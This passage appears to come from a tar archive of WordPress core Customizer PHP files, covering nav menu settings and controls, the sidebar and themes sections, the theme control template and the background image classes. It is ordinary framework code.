		$menu_obj = (object) array_merge(
			array(
				'term_id'          => $this->term_id,
				'term_taxonomy_id' => $this->term_id,
				'slug'             => sanitize_title( $setting_value['name'] ),
				'count'            => 0,
				'term_group'       => 0,
				'taxonomy'         => self::TAXONOMY,
				'filter'           => 'raw',
			),
			$setting_value
		);

		return $menu_obj;
	}

	/**
	 * Filters the nav_menu_options option to include this menu's auto_add preference.
	 *
	 * @since 4.3.0
	 *
	 * @param array $nav_menu_options Nav menu options including auto_add.
	 * @return array (Maybe) modified nav menu options.
	 */
	public function filter_nav_menu_options( $nav_menu_options ) {
		if ( get_current_blog_id() !== $this->_previewed_blog_id ) {
			return $nav_menu_options;
		}

		$menu             = $this->value();
		$nav_menu_options = $this->filter_nav_menu_options_value(
			$nav_menu_options,
			$this->term_id,
			false === $menu ? false : $menu['auto_add']
		);

		return $nav_menu_options;
	}

	/**
	 * Sanitize an input.
	 *
	 * Note that parent::sanitize() erroneously does wp_unslash() on $value, but
	 * we remove that in this override.
	 *
	 * @since 4.3.0
	 *
	 * @param array $value The menu value to sanitize.
	 * @return array|false|null Null if an input isn't valid. False if it is marked for deletion.
	 *                          Otherwise the sanitized value.
	 */
	public function sanitize( $value ) {
		// Menu is marked for deletion.
		if ( false === $value ) {
			return $value;
		}

		// Invalid.
		if ( ! is_array( $value ) ) {
			return null;
		}

		$default = array(
			'name'        => '',
			'description' => '',
			'parent'      => 0,
			'auto_add'    => false,
		);
		$value   = array_merge( $default, $value );
		$value   = wp_array_slice_assoc( $value, array_keys( $default ) );

		$value['name']        = trim( esc_html( $value['name'] ) ); // This sanitization code is used in wp-admin/nav-menus.php.
		$value['description'] = sanitize_text_field( $value['description'] );
		$value['parent']      = max( 0, (int) $value['parent'] );
		$value['auto_add']    = ! empty( $value['auto_add'] );

		if ( '' === $value['name'] ) {
			$value['name'] = _x( '(unnamed)', 'Missing menu name.' );
		}

		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
		return apply_filters( "customize_sanitize_{$this->id}", $value, $this );
	}

	/**
	 * Storage for data to be sent back to client in customize_save_response filter.
	 *
	 * See {@see 'customize_save_response'}.
	 *
	 * @since 4.3.0
	 * @var array
	 *
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	protected $_widget_nav_menu_updates = array();

	/**
	 * Create/update the nav_menu term for this setting.
	 *
	 * Any created menus will have their assigned term IDs exported to the client
	 * via the {@see 'customize_save_response'} filter. Likewise, any errors will be exported
	 * to the client via the customize_save_response() filter.
	 *
	 * To delete a menu, the client can send false as the value.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_update_nav_menu_object()
	 *
	 * @param array|false $value {
	 *     The value to update. Note that slug cannot be updated via wp_update_nav_menu_object().
	 *     If false, then the menu will be deleted entirely.
	 *
	 *     @type string $name        The name of the menu to save.
	 *     @type string $description The term description. Default empty string.
	 *     @type int    $parent      The id of the parent term. Default 0.
	 *     @type bool   $auto_add    Whether pages will auto_add to this menu. Default false.
	 * }
	 * @return null|void
	 */
	protected function update( $value ) {
		if ( $this->is_updated ) {
			return;
		}

		$this->is_updated = true;
		$is_placeholder   = ( $this->term_id < 0 );
		$is_delete        = ( false === $value );

		add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) );

		$auto_add = null;
		if ( $is_delete ) {
			// If the current setting term is a placeholder, a delete request is a no-op.
			if ( $is_placeholder ) {
				$this->update_status = 'deleted';
			} else {
				$r = wp_delete_nav_menu( $this->term_id );

				if ( is_wp_error( $r ) ) {
					$this->update_status = 'error';
					$this->update_error  = $r;
				} else {
					$this->update_status = 'deleted';
					$auto_add            = false;
				}
			}
		} else {
			// Insert or update menu.
			$menu_data              = wp_array_slice_assoc( $value, array( 'description', 'parent' ) );
			$menu_data['menu-name'] = $value['name'];

			$menu_id              = $is_placeholder ? 0 : $this->term_id;
			$r                    = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) );
			$original_name        = $menu_data['menu-name'];
			$name_conflict_suffix = 1;
			while ( is_wp_error( $r ) && 'menu_exists' === $r->get_error_code() ) {
				$name_conflict_suffix += 1;
				/* translators: 1: Original menu name, 2: Duplicate count. */
				$menu_data['menu-name'] = sprintf( __( '%1$s (%2$d)' ), $original_name, $name_conflict_suffix );
				$r                      = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) );
			}

			if ( is_wp_error( $r ) ) {
				$this->update_status = 'error';
				$this->update_error  = $r;
			} else {
				if ( $is_placeholder ) {
					$this->previous_term_id = $this->term_id;
					$this->term_id          = $r;
					$this->update_status    = 'inserted';
				} else {
					$this->update_status = 'updated';
				}

				$auto_add = $value['auto_add'];
			}
		}

		if ( null !== $auto_add ) {
			$nav_menu_options = $this->filter_nav_menu_options_value(
				(array) get_option( 'nav_menu_options', array() ),
				$this->term_id,
				$auto_add
			);
			update_option( 'nav_menu_options', $nav_menu_options );
		}

		if ( 'inserted' === $this->update_status ) {
			// Make sure that new menus assigned to nav menu locations use their new IDs.
			foreach ( $this->manager->settings() as $setting ) {
				if ( ! preg_match( '/^nav_menu_locations\[/', $setting->id ) ) {
					continue;
				}

				$post_value = $setting->post_value( null );
				if ( ! is_null( $post_value ) && (int) $post_value === $this->previous_term_id ) {
					$this->manager->set_post_value( $setting->id, $this->term_id );
					$setting->save();
				}
			}

			// Make sure that any nav_menu widgets referencing the placeholder nav menu get updated and sent back to client.
			foreach ( array_keys( $this->manager->unsanitized_post_values() ) as $setting_id ) {
				$nav_menu_widget_setting = $this->manager->get_setting( $setting_id );
				if ( ! $nav_menu_widget_setting || ! preg_match( '/^widget_nav_menu\[/', $nav_menu_widget_setting->id ) ) {
					continue;
				}

				$widget_instance = $nav_menu_widget_setting->post_value(); // Note that this calls WP_Customize_Widgets::sanitize_widget_instance().
				if ( empty( $widget_instance['nav_menu'] ) || (int) $widget_instance['nav_menu'] !== $this->previous_term_id ) {
					continue;
				}

				$widget_instance['nav_menu'] = $this->term_id;
				$updated_widget_instance     = $this->manager->widgets->sanitize_widget_js_instance( $widget_instance );
				$this->manager->set_post_value( $nav_menu_widget_setting->id, $updated_widget_instance );
				$nav_menu_widget_setting->save();

				$this->_widget_nav_menu_updates[ $nav_menu_widget_setting->id ] = $updated_widget_instance;
			}
		}
	}

	/**
	 * Updates a nav_menu_options array.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Setting::filter_nav_menu_options()
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 *
	 * @param array $nav_menu_options Array as returned by get_option( 'nav_menu_options' ).
	 * @param int   $menu_id          The term ID for the given menu.
	 * @param bool  $auto_add         Whether to auto-add or not.
	 * @return array (Maybe) modified nav_menu_options array.
	 */
	protected function filter_nav_menu_options_value( $nav_menu_options, $menu_id, $auto_add ) {
		$nav_menu_options = (array) $nav_menu_options;
		if ( ! isset( $nav_menu_options['auto_add'] ) ) {
			$nav_menu_options['auto_add'] = array();
		}

		$i = array_search( $menu_id, $nav_menu_options['auto_add'], true );

		if ( $auto_add && false === $i ) {
			array_push( $nav_menu_options['auto_add'], $this->term_id );
		} elseif ( ! $auto_add && false !== $i ) {
			array_splice( $nav_menu_options['auto_add'], $i, 1 );
		}

		return $nav_menu_options;
	}

	/**
	 * Export data for the JS client.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 *
	 * @param array $data Additional information passed back to the 'saved' event on `wp.customize`.
	 * @return array Export data.
	 */
	public function amend_customize_save_response( $data ) {
		if ( ! isset( $data['nav_menu_updates'] ) ) {
			$data['nav_menu_updates'] = array();
		}
		if ( ! isset( $data['widget_nav_menu_updates'] ) ) {
			$data['widget_nav_menu_updates'] = array();
		}

		$data['nav_menu_updates'][] = array(
			'term_id'          => $this->term_id,
			'previous_term_id' => $this->previous_term_id,
			'error'            => $this->update_error ? $this->update_error->get_error_code() : null,
			'status'           => $this->update_status,
			'saved_value'      => 'deleted' === $this->update_status ? null : $this->value(),
		);

		$data['widget_nav_menu_updates'] = array_merge(
			$data['widget_nav_menu_updates'],
			$this->_widget_nav_menu_updates
		);
		$this->_widget_nav_menu_updates  = array();

		return $data;
	}
}
class-wp-customize-nav-menu-control.php000064400000004120151024210340014215 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Nav Menu Control Class.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu';

	/**
	 * Don't render the control's content - it uses a JS template instead.
	 *
	 * @since 4.3.0
	 */
	public function render_content() {}

	/**
	 * JS/Underscore template for the control UI.
	 *
	 * @since 4.3.0
	 */
	public function content_template() {
		$add_items = __( 'Add Items' );
		?>
		<p class="new-menu-item-invitation">
			<?php
			printf(
				/* translators: %s: "Add Items" button text. */
				__( 'Time to add some links! Click &#8220;%s&#8221; to start putting pages, categories, and custom links in your menu. Add as many things as you would like.' ),
				$add_items
			);
			?>
		</p>
		<div class="customize-control-nav_menu-buttons">
			<button type="button" class="button add-new-menu-item" aria-label="<?php esc_attr_e( 'Add or remove menu items' ); ?>" aria-expanded="false" aria-controls="available-menu-items">
				<?php echo $add_items; ?>
			</button>
			<button type="button" class="button-link reorder-toggle" aria-label="<?php esc_attr_e( 'Reorder menu items' ); ?>" aria-describedby="reorder-items-desc-{{ data.menu_id }}">
				<span class="reorder"><?php _e( 'Reorder' ); ?></span>
				<span class="reorder-done"><?php _e( 'Done' ); ?></span>
			</button>
		</div>
		<p class="screen-reader-text" id="reorder-items-desc-{{ data.menu_id }}">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'When in reorder mode, additional controls to reorder menu items will be available in the items list above.' );
			?>
		</p>
		<?php
	}

	/**
	 * Return parameters for this control.
	 *
	 * @since 4.3.0
	 *
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported            = parent::json();
		$exported['menu_id'] = $this->setting->term_id;

		return $exported;
	}
}
class-wp-customize-sidebar-section.php000064400000002043151024210340014066 0ustar00<?php
/**
 * Customize API: WP_Customize_Sidebar_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customizer section representing widget area (sidebar).
 *
 * @since 4.1.0
 *
 * @see WP_Customize_Section
 */
class WP_Customize_Sidebar_Section extends WP_Customize_Section {

	/**
	 * Type of this section.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $type = 'sidebar';

	/**
	 * Unique identifier.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $sidebar_id;

	/**
	 * Gather the parameters passed to client JavaScript via JSON.
	 *
	 * @since 4.1.0
	 *
	 * @return array The array to be exported to the client as JSON.
	 */
	public function json() {
		$json              = parent::json();
		$json['sidebarId'] = $this->sidebar_id;
		return $json;
	}

	/**
	 * Whether the current sidebar is rendered on the page.
	 *
	 * @since 4.1.0
	 *
	 * @return bool Whether sidebar is rendered.
	 */
	public function active_callback() {
		return $this->manager->widgets->is_sidebar_rendered( $this->sidebar_id );
	}
}
class-wp-customize-background-image-setting.php000064400000001177151024210340015674 0ustar00<?php
/**
 * Customize API: WP_Customize_Background_Image_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customizer Background Image Setting class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Setting
 */
final class WP_Customize_Background_Image_Setting extends WP_Customize_Setting {

	/**
	 * Unique string identifier for the setting.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $id = 'background_image_thumb';

	/**
	 * @since 3.4.0
	 *
	 * @param mixed $value The value to update. Not used.
	 */
	public function update( $value ) {
		remove_theme_mod( 'background_image_thumb' );
	}
}
class-wp-customize-new-menu-control.php000064400000003256151024210340014233 0ustar00<?php
/**
 * Customize API: WP_Customize_New_Menu_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 * @deprecated 4.9.0 This file is no longer used as of the menu creation UX introduced in #40104.
 */

_deprecated_file( basename( __FILE__ ), '4.9.0' );

/**
 * Customize control class for new menus.
 *
 * @since 4.3.0
 * @deprecated 4.9.0 This class is no longer used as of the menu creation UX introduced in #40104.
 *
 * @see WP_Customize_Control
 */
class WP_Customize_New_Menu_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'new_menu';

	/**
	 * Constructor.
	 *
	 * @since 4.9.0
	 * @deprecated 4.9.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      The control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		_deprecated_function( __METHOD__, '4.9.0' );
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Render the control's content.
	 *
	 * @since 4.3.0
	 * @deprecated 4.9.0
	 */
	public function render_content() {
		_deprecated_function( __METHOD__, '4.9.0' );
		?>
		<button type="button" class="button button-primary" id="create-new-menu-submit"><?php _e( 'Create Menu' ); ?></button>
		<span class="spinner"></span>
		<?php
	}
}
class-wp-customize-theme-control.php000064400000027161151024210340013603 0ustar00<?php
/**
 * Customize API: WP_Customize_Theme_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Theme Control class.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Theme_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'theme';

	/**
	 * Theme object.
	 *
	 * @since 4.2.0
	 * @var WP_Theme
	 */
	public $theme;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.2.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['theme'] = $this->theme;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.2.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for theme display.
	 *
	 * @since 4.2.0
	 */
	public function content_template() {
		/* translators: %s: Theme name. */
		$details_label = sprintf( __( 'Details for theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$customize_label = sprintf( __( 'Customize theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$preview_label = sprintf( __( 'Live preview theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$install_label = sprintf( __( 'Install and preview theme: %s' ), '{{ data.theme.name }}' );
		?>
		<# if ( data.theme.active ) { #>
			<div class="theme active" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
		<# } else { #>
			<div class="theme" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
		<# } #>

			<# if ( data.theme.screenshot && data.theme.screenshot[0] ) { #>
				<div class="theme-screenshot">
					<img data-src="{{ data.theme.screenshot[0] }}?ver={{ data.theme.version }}" alt="" />
				</div>
			<# } else { #>
				<div class="theme-screenshot blank"></div>
			<# } #>

			<span class="more-details theme-details" id="{{ data.section }}-{{ data.theme.id }}-action" aria-label="<?php echo esc_attr( $details_label ); ?>"><?php _e( 'Theme Details' ); ?></span>

			<div class="theme-author">
			<?php
				/* translators: Theme author name. */
				printf( _x( 'By %s', 'theme author' ), '{{ data.theme.author }}' );
			?>
			</div>

			<# if ( 'installed' === data.theme.type && data.theme.hasUpdate ) { #>
				<# if ( data.theme.updateResponse.compatibleWP && data.theme.updateResponse.compatiblePHP ) { #>
					<div class="update-message notice inline notice-warning notice-alt" data-slug="{{ data.theme.id }}">
						<p>
							<?php
							if ( is_multisite() ) {
								_e( 'New version available.' );
							} else {
								printf(
									/* translators: %s: "Update now" button. */
									__( 'New version available. %s' ),
									'<button class="button-link update-theme" type="button">' . __( 'Update now' ) . '</button>'
								);
							}
							?>
						</p>
					</div>
				<# } else { #>
					<div class="update-message notice inline notice-error notice-alt" data-slug="{{ data.theme.id }}">
						<p>
							<# if ( ! data.theme.updateResponse.compatibleWP && ! data.theme.updateResponse.compatiblePHP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
									printf(
										/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
										' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
										self_admin_url( 'update-core.php' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								} elseif ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								} elseif ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } else if ( ! data.theme.updateResponse.compatibleWP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								}
								?>
							<# } else if ( ! data.theme.updateResponse.compatiblePHP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } #>
						</p>
					</div>
				<# } #>
			<# } #>

			<# if ( ! data.theme.compatibleWP || ! data.theme.compatiblePHP ) { #>
				<div class="notice notice-error notice-alt"><p>
					<# if ( ! data.theme.compatibleWP && ! data.theme.compatiblePHP ) { #>
						<?php
						_e( 'This theme does not work with your versions of WordPress and PHP.' );
						if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
							printf(
								/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
								' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
								self_admin_url( 'update-core.php' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						} elseif ( current_user_can( 'update_core' ) ) {
							printf(
								/* translators: %s: URL to WordPress Updates screen. */
								' ' . __( '<a href="%s">Please update WordPress</a>.' ),
								self_admin_url( 'update-core.php' )
							);
						} elseif ( current_user_can( 'update_php' ) ) {
							printf(
								/* translators: %s: URL to Update PHP page. */
								' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						}
						?>
					<# } else if ( ! data.theme.compatibleWP ) { #>
						<?php
						_e( 'This theme does not work with your version of WordPress.' );
						if ( current_user_can( 'update_core' ) ) {
							printf(
								/* translators: %s: URL to WordPress Updates screen. */
								' ' . __( '<a href="%s">Please update WordPress</a>.' ),
								self_admin_url( 'update-core.php' )
							);
						}
						?>
					<# } else if ( ! data.theme.compatiblePHP ) { #>
						<?php
						_e( 'This theme does not work with your version of PHP.' );
						if ( current_user_can( 'update_php' ) ) {
							printf(
								/* translators: %s: URL to Update PHP page. */
								' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						}
						?>
					<# } #>
				</p></div>
			<# } #>

			<# if ( data.theme.active ) { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">
						<span><?php _ex( 'Previewing:', 'theme' ); ?></span> {{ data.theme.name }}
					</h3>
					<div class="theme-actions">
						<button type="button" class="button button-primary customize-theme" aria-label="<?php echo esc_attr( $customize_label ); ?>"><?php _e( 'Customize' ); ?></button>
					</div>
				</div>
				<?php
				wp_admin_notice(
					_x( 'Installed', 'theme' ),
					array(
						'type'               => 'success',
						'additional_classes' => array( 'notice-alt' ),
					)
				);
				?>
			<# } else if ( 'installed' === data.theme.type ) { #>
				<# if ( data.theme.blockTheme ) { #>
					<div class="theme-id-container">
						<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
						<div class="theme-actions">
							<# if ( data.theme.actions.activate ) { #>
								<?php
									/* translators: %s: Theme name. */
									$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
								?>
								<a href="{{{ data.theme.actions.activate }}}" class="button button-primary activate" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
							<# } #>
						</div>
					</div>
					<?php $customizer_not_supported_message = __( 'This theme doesn\'t support Customizer.' ); ?>
					<# if ( data.theme.actions.activate ) { #>
						<?php
							$customizer_not_supported_message .= ' ' . sprintf(
								/* translators: %s: URL to the themes page (also it activates the theme). */
								__( 'However, you can still <a href="%s">activate this theme</a>, and use the Site Editor to customize it.' ),
								'{{{ data.theme.actions.activate }}}'
							);
						?>
					<# } #>

					<?php
					wp_admin_notice(
						$customizer_not_supported_message,
						array(
							'type'               => 'error',
							'additional_classes' => array( 'notice-alt' ),
						)
					);
					?>
				<# } else { #>
					<div class="theme-id-container">
						<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
						<div class="theme-actions">
							<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #>
								<button type="button" class="button button-primary preview-theme" aria-label="<?php echo esc_attr( $preview_label ); ?>" data-slug="{{ data.theme.id }}"><?php _e( 'Live Preview' ); ?></button>
							<# } else { #>
								<button type="button" class="button button-primary disabled" aria-label="<?php echo esc_attr( $preview_label ); ?>"><?php _e( 'Live Preview' ); ?></button>
							<# } #>
						</div>
					</div>
					<?php
					wp_admin_notice(
						_x( 'Installed', 'theme' ),
						array(
							'type'               => 'success',
							'additional_classes' => array( 'notice-alt' ),
						)
					);
					?>
				<# } #>
			<# } else { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
					<div class="theme-actions">
						<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #>
							<button type="button" class="button button-primary theme-install preview" aria-label="<?php echo esc_attr( $install_label ); ?>" data-slug="{{ data.theme.id }}" data-name="{{ data.theme.name }}"><?php _e( 'Install &amp; Preview' ); ?></button>
						<# } else { #>
							<button type="button" class="button button-primary disabled" aria-label="<?php echo esc_attr( $install_label ); ?>" disabled><?php _e( 'Install &amp; Preview' ); ?></button>
						<# } #>
					</div>
				</div>
			<# } #>
		</div>
		<?php
	}
}
class-wp-customize-background-image-control.php000064400000002404151024210340015671 0ustar00<?php
/**
 * Customize API: WP_Customize_Background_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Background Image Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Image_Control
 */
class WP_Customize_Background_Image_Control extends WP_Customize_Image_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $type = 'background';

	/**
	 * Constructor.
	 *
	 * @since 3.4.0
	 * @uses WP_Customize_Image_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 */
	public function __construct( $manager ) {
		parent::__construct(
			$manager,
			'background_image',
			array(
				'label'   => __( 'Background Image' ),
				'section' => 'background_image',
			)
		);
	}

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 4.1.0
	 */
	public function enqueue() {
		parent::enqueue();

		$custom_background = get_theme_support( 'custom-background' );
		wp_localize_script(
			'customize-controls',
			'_wpCustomizeBackground',
			array(
				'defaults' => ! empty( $custom_background[0] ) ? $custom_background[0] : array(),
				'nonces'   => array(
					'add' => wp_create_nonce( 'background-add' ),
				),
			)
		);
	}
}
class-wp-customize-nav-menu-name-control.php000064400000002153151024210340015137 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Name_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize control to represent the name field for a given menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Name_Control extends WP_Customize_Control {

	/**
	 * Type of control, used by JS.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_name';

	/**
	 * No-op since we're using JS template.
	 *
	 * @since 4.3.0
	 */
	protected function render_content() {}

	/**
	 * Render the Underscore template for this control.
	 *
	 * @since 4.3.0
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{ data.label }}</span>
			<# } #>
			<input type="text" class="menu-name-field live-update-section-title"
				<# if ( data.description ) { #>
					aria-describedby="{{ data.section }}-description"
				<# } #>
				/>
		</label>
		<# if ( data.description ) { #>
			<p id="{{ data.section }}-description">{{ data.description }}</p>
		<# } #>
		<?php
	}
}
class-wp-customize-themes-section.php000064400000015453151024210340013753 0ustar00<?php
/**
 * Customize API: WP_Customize_Themes_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Themes Section class.
 *
 * A UI container for theme controls, which are displayed within sections.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Section
 */
class WP_Customize_Themes_Section extends WP_Customize_Section {

	/**
	 * Section type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'themes';

	/**
	 * Theme section action.
	 *
	 * Defines the type of themes to load (installed, wporg, etc.).
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $action = '';

	/**
	 * Theme section filter type.
	 *
	 * Determines whether filters are applied to loaded (local) themes or by initiating a new remote query (remote).
	 * When filtering is local, the initial themes query is not paginated by default.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $filter_type = 'local';

	/**
	 * Gets section parameters for JS.
	 *
	 * @since 4.9.0
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported                = parent::json();
		$exported['action']      = $this->action;
		$exported['filter_type'] = $this->filter_type;

		return $exported;
	}

	/**
	 * Renders a themes section as a JS template.
	 *
	 * The template is only rendered by PHP once, so all actions are prepared at once on the server side.
	 *
	 * @since 4.9.0
	 */
	protected function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}" class="theme-section">
			<button type="button" class="customize-themes-section-title themes-section-{{ data.id }}">{{ data.title }}</button>
			<?php if ( current_user_can( 'install_themes' ) || is_multisite() ) : // @todo Upload support. ?>
			<?php endif; ?>
			<div class="customize-themes-section themes-section-{{ data.id }} control-section-content themes-php">
				<div class="theme-overlay" tabindex="0" role="dialog" aria-label="<?php esc_attr_e( 'Theme Details' ); ?>"></div>
				<div class="theme-browser rendered">
					<div class="customize-preview-header themes-filter-bar">
						<?php $this->filter_bar_content_template(); ?>
					</div>
					<?php $this->filter_drawer_content_template(); ?>
					<div class="error unexpected-error" style="display: none; ">
						<p>
							<?php
							printf(
								/* translators: %s: Support forums URL. */
								__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
								__( 'https://wordpress.org/support/forums/' )
							);
							?>
						</p>
					</div>
					<ul class="themes">
					</ul>
					<p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p>
					<p class="no-themes-local">
						<?php
						printf(
							/* translators: %s: "Search WordPress.org themes" button text. */
							__( 'No themes found. Try a different search, or %s.' ),
							sprintf( '<button type="button" class="button-link search-dotorg-themes">%s</button>', __( 'Search WordPress.org themes' ) )
						);
						?>
					</p>
					<p class="spinner"></p>
				</div>
			</div>
		</li>
		<?php
	}

	/**
	 * Renders the filter bar portion of a themes section as a JS template.
	 *
	 * The template is only rendered by PHP once, so all actions are prepared at once on the server side.
	 * The filter bar container is rendered by {@see render_template()}.
	 *
	 * @since 4.9.0
	 */
	protected function filter_bar_content_template() {
		?>
		<button type="button" class="button button-primary customize-section-back customize-themes-mobile-back"><?php _e( 'Go to theme sources' ); ?></button>
		<# if ( 'wporg' === data.action ) { #>
			<div class="themes-filter-container">
				<label for="wp-filter-search-input-{{ data.id }}"><?php _e( 'Search themes' ); ?></label>
				<div class="search-form-input">
					<input type="search" id="wp-filter-search-input-{{ data.id }}" aria-describedby="{{ data.id }}-live-search-desc" class="wp-filter-search">
					<div class="search-icon" aria-hidden="true"></div>
					<span id="{{ data.id }}-live-search-desc" class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'The search results will be updated as you type.' );
						?>
					</span>
				</div>
			</div>
		<# } else { #>
			<div class="themes-filter-container">
				<label for="{{ data.id }}-themes-filter"><?php _e( 'Search themes' ); ?></label>
				<div class="search-form-input">
